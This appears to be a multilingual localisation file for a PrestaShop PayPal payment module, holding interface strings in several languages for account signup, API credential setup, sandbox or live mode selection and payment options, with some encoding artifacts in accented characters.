        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : +1 402 938-3740]]>(a US telephone number) + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=76 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=77 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + + +
        + + + Sì + No + Paga con la carta o con il tuo conto PayPal + Il metodo ideale + per farsi pagare online + Rapido, affidabile, innovativo + Inizia subito a vendere con PayPal. Bastano 5 minuti + + Conquista nuovi clienti
        Oltre 110 milioni di conti PayPal attivi nel mondo +
      • Espandi la tua base utenti anche all'estero
        190 Paesi e 25 valute diverse
      • +
      • Offri più protezione ai tuoi clienti
        Chi compra non condivide i dati personali
      • +
      • Accetta le principali carte di credito e prepagate
        Visa, Mastecard, Amex, Aura, PayPal, etc.
      • + ]]> +
        + + Il tuo Paese + change + Select your country + + Hai bisogno di aiuto?]]> Chiamaci: 848 390 110 + call + * Costo da rete fissa: 6,8 cent. di euro per il primo minuto e 1,6 cent. di euro per quelli successivi. Per conoscere il costo della chiamata da telefono cellulare, contatta il tuo gestore mobile. Per le chiamate internazionali, rivolgiti al numero: + 353 1436 9021 (possono essere applicate le tariffe internazionali). + + Hai già un conto PayPal Business + Seleziona il prodotto che fa per te + Scopri di più]]> + + Vuoi usare PayPal per elaborare tutti i tuoi i pagamenti online ? + Vuoi PayPal come metodo di pagamento aggiuntivo ? + + Scegli + + Pagamenti su sito web + + Inizia subito a vendere online.]]> + Nessun costo iniziale né tariffe mensili. Paghi solo quando ricevi pagamenti. + + + PayPal Pro + + Il POS Virtuale completo, protezione delle vendite inclusa.]]> + *Accetti le principali carte di credito o prepagate e personalizzi la pagina di pagamento.]]> + Abbonamento mensile: €29 EUR. + *Soggetto ai termini e alle limitazioni delle ]]>Condizioni d'Uso]]>. + + Clicca il pulsante SALVA in fondo alla pagina solo dopo che PayPal avrà approvato la tua richiesta per PayPal Pro. Può richiedere 3-5 giorni. + + Pagamento express + Puoi conquistare nuovi clienti in tutto il mondo e aumentare le vendite. Gli acquirenti pagano in 3 clic e tu vendi anche su cellulare. + + + Richiedi PayPal Pro o apri un conto PayPal Business + + Accetta pagamenti online sul tuo sito + + Clicca il pulsante di seguito per fornire le tue credenziali PayPal a PrestaShop + + Richiedi le credenziali PayPal + Dopo aver cliccato il pulsante, inserisci nome utente e password nella finestra di pop up: da qui copia le credenziali PayPal ottenute e incollale nei campi di seguito. + Username API + Password API + Firma API + API business e-mail + Controlla di aver inserito correttamente tutti i caratteri. + + Completa l'attivazione del tuo conto PayPal + Conferma il tuo indirizzo email: controlla l'email inviata da PayPal quando hai creato il conto + Collega il conto bancario o la carta di credito al tuo conto PayPal: accedi alla sezione “Informazioni generali" del tuo conto. + + Opzioni di configurazione + + Scegli la soluzione che vuoi utilizzare + iFrame + Reindirizzamento completo della pagina + Scegli il template + + Scegli il pulsante di Pagamento express + I tuoi clienti pagano in soli 2 clic + + Scegli Sand box + (consigliato) + Avrai a disposizione un ambiente di test sul tuo conto PayPal. + Scopri di più + Modalità Live (consigliato) + Modalità Test + + Se attivi la modalità Test + + Non potrai accettare pagamenti +
      • Dovrai tornare alla pagina PayPal e completare il terzo passaggio prima di andare live.
      • +
      • Dovrai creare un conto sul sito Sandbox di PayPal. (Scopri di più)
      • +
      • Devi avere competenze informatiche
      • + ]]> + + Sei sicuro di voler attivare la modalità test ? + + Tipo di pagamento + Scegli il tuo metodo per processare pagamenti: (automatico vs autorizzazione manuale). + Direct sales + Authorization/Manual capture (payment shipping) + + Salva + + Per ricevere i pagamenti online, devi completare il terzo passaggio. + + Complimenti. + Ora puoi ricevere pagamenti con PayPal. + Ora puoi provare i prodotti PayPal. Ricorda di tornare su questa pagina e attivare la modalità live per iniziare ad accettare pagamenti. + + + Registrati + Quando avrai aperto il conto, torna su questa pagina e completa il terzo passaggio. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=6 + + + Richiedilo + + Clicca il pulsante SALVA in fondo alla pagina solo dopo che PayPal avrà approvato la tua richiesta per PayPal Pro,]]> + altrimenti non potrai elaborare i pagamenti. Può richiedere 3-5 giorni. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=8 + + + Registrati + Quando avrai aperto il conto, torna in questa pagina e completa il terzo passaggio. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=7 + + + + Richiedilo + + Importante! Clicca il pulsante SALVA in fondo alla pagina solo dopo che PayPal avrà approvato la tua richiesta per PayPal Pro,]]> + altrimenti non potrai elaborare il pagamento. Può richiedere 3-5 giorni.]]> + ]]> + Se invece PayPal ha già approvato la tua richiesta per PayPal Pro, vai direttamente al ]]>terzo passaggio]]>. + + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=8 + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 03-6739-7360 or 0120-271-888 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + Website Payments Plus + A professional platform that enables you to accept debit card, credit card and PayPal payments. Customised payment pages. Monthly subscription of JPY 3,000. To sign-up, please contact a PayPal customer service representative. + Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days. + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=55 + + + Apply + + "Contact a PayPal sales representative at 03-6739-7360 or 0120-271-888]]> + Please only click the SAVE button at the bottom of the page once PayPal has approved your application for this product, otherwise you won't be able to process any card payments. This process can take up to 3-5 days" + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=82 + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=56 + + + Sign Up + + + + + Apply + Contact a PayPal sales representative at 03-6739-7360 or 0120-271-888 + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=39 + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 60-3-77237155 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=70 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=71 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + + +
        + + + Ja + Nee + Pay with your card or your PayPal account + Het + Nieuwe Betalen + Makkelijk, Veilig en Overal. + Het openen van een PayPal-rekening neemt maar enkele minuten in beslag + + De ideale manier om te betalen en betaald te worden. +
      • Miljoenen kopers kiezen PayPal vanwege de veilige en snelle koopervaring.
      • +
      • Verkopers zijn dol op PayPal, omdat ze daarmee hun omzet kunnen vergroten en betalingen beter kunnen beheren.
      • + ]]> +
        + + Land + Wijzig + Select your country + + Hulp nodig?]]> Neem contact op met een van onze adviseurs: 0900 265 8950 + call + + + Heeft u al een zakelijke PayPal-rekening + Kies het product wat bij u past + Meer weten]]> + + U wilt betalingen via creditcard en bankoverschrijving accepteren? + Wilt u PayPal als aanvulling op uw huidige betaalsysteem? + + Kies + + PayPal Standard Checkout + als u binnen enkele minuten met online verkopen wilt beginnen. ]]> + Geen vaste, opstart- of annuleringskosten: enkel een laag tarief voor het ontvangen van betalingen. + + + + + + + Express Checkout + u vergroot uw omzet en ontvangt uw betaling in slechts drie klikken (ook op mobiele apparaten). + + + Open nu uw zakelijke PayPal-rekening. + + Configureer uw instellingen om betalingen te kunnen accepteren + + Vul uw identificatiegegevens van PayPal in de PrestaShop omgeving + Indicate the email you used when you signed up for a PayPal Business account + Vraag mijn identificatiegegevens op bij PayPal + Klik op de knop "Vraag mijn identificatiegegevens op bij PayPal" en kopieer je gebruikersnaam en wachtwoord uit het informatieveld in de onderstaande velden. + API gebruikersnaam + API wachtwoord + Handtekening + API business e-mail + Kijk de gegevens die je net hebt gekopieerd goed na. Sommige velden bevatten namelijk veel karakters. + + Om de configuratie van je PayPal account te finaliseren zijn onderstaande acties noodzakelijk + Volg de procedure die via PayPal verstuurd is tijdens het aanmaken van je account om je e-mail te bevestigen. + Koppel je PayPal account aan een bankrekening of bankkaart. Om dit te doen log je in in je PayPal account en ga je naar de sectie "eerste stappen". + + PayPal configuratieopties + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Gebruik PayPal Express Checkout Shortcut + Geef je klanten de mogelijkheid om in twee stappen te betalen + + Gebruik de Sandbox + (aanbevolen) + Stel een testomgeving in in je PayPal account (enkel voor ontwikkelaars) + Meer info + Productieomgeving (aanbevolen) + Testomgeving + + Bij activeren van de test-modus + + Bent u nog niet in staat om betalingen te accepteren. +
      • Dient u, voor u live kunt gaan, de PayPal-identificatie gegevens in te vullen bij stap 3.
      • +
      • Heeft u een PayPal Sandbox account nodig (learn more).
      • +
      • Dient u kennis van programmeren of een programmeur beschikbaar te hebben.
      • + ]]> +
        + Weet u zeker dat de test wilt activeren ? + + Payment type + Kies de manier waarop je betaling wordt verwerkt (automatisch of handmatige autorisatie). + Direct sales (aanbevolen) + Authorization/Manual capture (automatische of handmatige autorisatie) + + Opslaan + + Om betalingen te kunnen ontvangen, dient u de PayPal-identificatie gegevens in te vullen bij stap 3. + + Gefeliciteerd ! + U kunt nu betalingen met PayPal ontvangen! + U kunt nu beginnen met het testen van PayPal oplossingen. Indien u de live-modus wilt activeren, kunt u de instelling op deze pagina + wijzigen en direct beginnen met het accepteren van betalingen via PayPal. + + + Rekening openen + Zodra u uw PayPal-rekening geopend heeft, kunt u op deze pagina stap 3 voltooien. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=17 + + + Rekening openen + + + + + Rekening openen + Zodra u uw PayPal-rekening geopend heeft, kunt u op deze pagina stap 3 voltooien + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=18 + + + Rekening openen + Overslaan + + + + Overslaan + + + + Rekening openen +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : (888) 221-1161 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=52 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=53 + + + Sign Up + + + + + Apply + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + +
        + + + Tak + Nie + Pay with your card or your PayPal account + ÅšWIATOWY LIDER + PÅATNOÅšCI ONLINE + Åatwiejsze, szybsze i bezpieczniejsze pÅ‚atnoÅ›ci dla Twoich kupujÄ…cych. + Wdrożenie pÅ‚atnoÅ›ci PayPal zajmie Ci tylko kilka minut + + Dodatkowi klienci
        Na świecie jest już ponad 100 milionów aktywnych kont PayPal +
      • MiÄ™dzynarodowy zasiÄ™g
        PayPal jest dostępny w 190 krajach i 25 walutach
      • +
      • BezpieczeÅ„stwo dla Twoich klientów
        Kupujący nie muszą ujawniać swoich danych finansowych
      • +
      • Lokalne metody pÅ‚atnoÅ›ci
        Ulubione, lokalne metody płatności są podane jak na tacy
      • + ]]> +
        + + Twój kraj + ZmieÅ„ + Select your country + + Potrzebujesz pomocy ?]]> ZadzwoÅ„ do nas pod numer 801 386 686 + call + + + Masz już firmowe konto PayPal + WYBIERZ ROZWIÄ„ZANIE DOPASOWANE DO TWOICH POTRZEB + Dowiedz siÄ™ wiÄ™cej]]> + + Chcesz akceptować pÅ‚atnoÅ›ci za pomocÄ… systemu PayPal? + Chcesz akceptować PayPal jako dodatkowÄ… metodÄ™ pÅ‚atnoÅ›ci? + + Wybierz + + PayPal Standard + + Akceptuj pÅ‚atnoÅ›ci PayPal już dziÅ›. Możesz wykorzystać gotowe przyciski pÅ‚atnoÅ›ci PayPal lub samodzielnie dostosować rozwiÄ…zanie oparte na kodzie HTML.]]> + Bez opÅ‚at abonamentowych. OpÅ‚aty naliczane sÄ… tylko za odbiór pÅ‚atnoÅ›ci. + + + + + + + PayPal Express + + DziÄ™ki prostocie procesu realizacji transakcji klienci częściej i regularniej kupujÄ… w Twoim sklepie, a Twoja sprzedaż wzrasta nawet o 30%*.]]> + Bez opÅ‚at abonamentowych. OpÅ‚aty naliczane sÄ… tylko za odbiór pÅ‚atnoÅ›ci. + + *ŹródÅ‚o: badania firmy Forrester zrealizowane w marcu 2011 + + ZAÅÓŻ FIRMOWE KONTO PAYPAL + + ODBIERAJ PÅATNOÅšCI BEZPOÅšREDNIO ZA POMOCÄ„ SWOJEGO SKLEPU INTERNETOWEGO + + Przekaż dane uwierzytelniajÄ…ce API swojego konta PayPal do systemu PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + UZYSKAJ DANE UWIERZYTELNIAJÄ„CE SWOJEGO KONTA PAYPAL + Po klikniÄ™ciu przycisku Uzyskaj dane uwierzytelniajÄ…ce swojego konta PayPal wprowadź w maÅ‚ym oknie pojawiajÄ…cym siÄ™ na tle bieżącej strony adres e-mail i hasÅ‚o swojego konta PayPal, skopiuj dane uwierzytelniajÄ…ce API swojego konta PayPal, a nastÄ™pnie wklej w polach poniżej. + Użytkownik API + HasÅ‚o API + Podpis API + API business e-mail + Upewnij siÄ™, że wszystkie znaki zostaÅ‚y przez Ciebie poprawnie skopiowane i wklejone. + + Aby zakoÅ„czyć konfiguracjÄ™ konta PayPal, musisz + Potwierdzić swój adres email: odszukaj wiadomość e-mail wysÅ‚anÄ… przez system PayPal po zaÅ‚ożeniu konta PayPal. + Powiąż ze swoim kontem PayPal kartÄ™ kredytowÄ… lub rachunek bankowy: zaloguj siÄ™ do swojego konta PayPal i kliknij Å‚Ä…cze ]]>Powiąż kartÄ™ z kontem PayPal]]> i potwierdź jÄ… lub Å‚Ä…cze ]]>Powiąż rachunek bankowy z kontem PayPal]]> i potwierdź go. + + Opcje konfiguracji + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Wybierz PayPal Express + pozwól swoim klientom pÅ‚acić dwoma klikniÄ™ciami + + Skorzystaj z platformy testowej Sandbox + + skorzystaj ze Å›rodowiska testowego, aby wypróbować system PayPal. + Dowiedz siÄ™ wiÄ™cej + Tryb rzeczywisty + Tryb testowy + + W Å›rodowisku testowym Sandbox + + konieczne bÄ™dzie stworzenie testowych kont PayPal dla sprzedawcy i kupujÄ…cego (dowiedz sie wiÄ™cej) +
      • nie bÄ™dzie można akceptować rzeczywistych pÅ‚atnoÅ›ci
      • +
      • Aby akceptować rzeczywiste pÅ‚atnoÅ›ci, przejdź do kroku numer 3 na tej stronie.
      • + ]]> +
        + Chcesz skorzystać ze środowiska testowego ? + + Metoda płatności + Wybierz sposób dokonywania płatności (automatycznie vs. ręczna autoryzacja). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Zachowaj + + Musisz uzupełnić dane uwierzytelniające swojego konta PayPal w kroku numer 3, aby móc akceptować rzeczywiste płatności. + + Konfiguracja przebiegła pomyślnie ! + Teraz możesz już akceptować płatności PayPal. + Teraz możesz już testować płatności PayPal. Pamiętaj, że musisz wrócić do tej strony, aby aktywować tryb rzeczywisty i akceptować płatności PayPal. + + + Załóż konto + Po założeniu konta, wróć do tej strony, aby dokończyć proces. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=32 + + + + + + + + Załóż konto + Po założeniu konta, wróć do tej strony, aby dokończyć proces. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=33 + + + + + + + + + + + + + Pomiń ten krok + + + +
        + + + Sim + Não + Pague com o PayPal em 8x sem juros + Líder em + Pagamentos online + Fácil, seguro, rápido pagamento para seus clientes. + Só leva alguns minutos para começar com o PayPal + + Conquiste mais clientes
        Mais de 100 milhões de contas ativas no Paypal mundialmente +
      • Acesse clientes internacionais
        190 países, 25 moedas
      • +
      • Dê garantia aos seus clientes
        Compradores não precisam compartilhar informações privadas
      • +
      • Aceite todos os principais métodos de pagamento
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Seu país + Mudar + Selecione seu país + + Precisa de Ajuda?]]> Entre em contato:08008921555]]>(Serviço de atendimento ao cliente) + Ligue + + + Já tem uma conta PayPal para empresa + Selecione sua solução + Saiba mais]]> + + Precisa do Paypal para processar todos seus pagamentos por cartão? + Precisa do Paypal além do seu processador de cartão de crédito atual? + + Escolher + + Website Payments Standard + + Comece a aceitar pagamentos imediatamente.]]> + Sem taxa de assinatura, somente uma pequena taxa de transação quando você recebe pagamento. + + + + + + + Checkout Express + Aumente em 30% suas vendas on-line * com um simples processo de 3 cliques para a finalização da compra. + *Fonte1: Pesquisa Forrester conduzida em março de 2011 + + Registre-se para sua conta para empresa gratuíta do Paypal + + Processe pagamentos na sua loja virtual + + Forneça suas credenciais da API do Paypal para o PrestaShop + Indique o email que você usou quando você se cadastrou para uma conta para empresa do Paypal + Obtenha minhas credenciais da API do PayPal + Clique aqui e coloque no pop-up seu email e senha de login no Paypal, então copie e cole suas credenciais da API do PayPal nos campos abaixo. + API usuário + API senha + API assinatura + API e-mail da empresa + Por favor verifique que você tenha copiado todos os caractéres. + + Para finalizar a configuração da sua conta Paypal, você precisa + Confirmar seu endereço de email : veja o email enviado pelo Paypal quando você criou sua conta + Vincule sua conta do Paypal à uma conta bancária ou uma conta de cartão de crédito: Acesse sua conta PayPal e vá à “My business setup†+ + Opções de Configuração + + Escolha a solução que quer utilizar + iFrame + Redireccionamento de página completa + Seleccione um template + + Atalho para Checkout Express + Ofereça ao seu cliente uma experiência de 3 cliques para finalização da compra + + Use uma Sandbox + + Ative um ambiente teste em sua conta Paypal (somente para desenvolvedores). + Saiba mais + Modo Live (recomendado) + Modo teste + + Por favor note que se você escolher ativar o modo teste + + Você ainda não poderá aceitar pagamentos +
      • Você vai precisar voltar para a página do módulo PayPal para poder completar o Passo 3 antes de colocar no ar
      • +
      • Você vai precisar criar uma conta no site sandbox do PayPal (saiba mais)
      • +
      • Você vai precisar entender de programação
      • + ]]> +
        + Você tem certeza que você quer ativar o modo teste? + + Tipo de pagamento + Escolha sua maneira de processar pagamentos (automaticamente vs.autorização manual). + Vendas diretas (recomendado) + Autorização/Captura manual (payment shipping) + + Salvar + + Você precisa fornecer suas credenciais da API do Paypal no passo 3 para poder aceitar pagamentos. + + Parabéns! + Você pode começar agora a aceitar pagamentos com PayPal. + Você pode começar agora a testar as soluções do PayPal. Uma vez que você realizar seus testes, não esqueça de voltar para esta página e ativar o modo live para começar a aceitar pagamentos. + + + Cadastre-se + Uma vez que você abriu sua conta PayPal, ou se você já tem uma, continue no passo 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=79 + + + + + + + + Cadastre-se + Uma vez que sua conta for criada, volte nesta página para completar o passo 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=80 + + + Cadastre-se + + + + + Cadastre-se + + Importante: Por favor clique no botão SALVAR no pé da página quando o Paypal aprovar seu pedido de cadastro para este produto, ao contrário você não conseguirá processar nenhum pagamento por cartão. Este processo pode levar de 3 a 5 dias.]]> + Se o seu pedido de cadastro para Website Payments Pro já foi aprovado pelo Paypal, por favor vá diretamente para o passo 3. + + + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call :+65 6510 4584]]>(a Singapore telephone number) + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
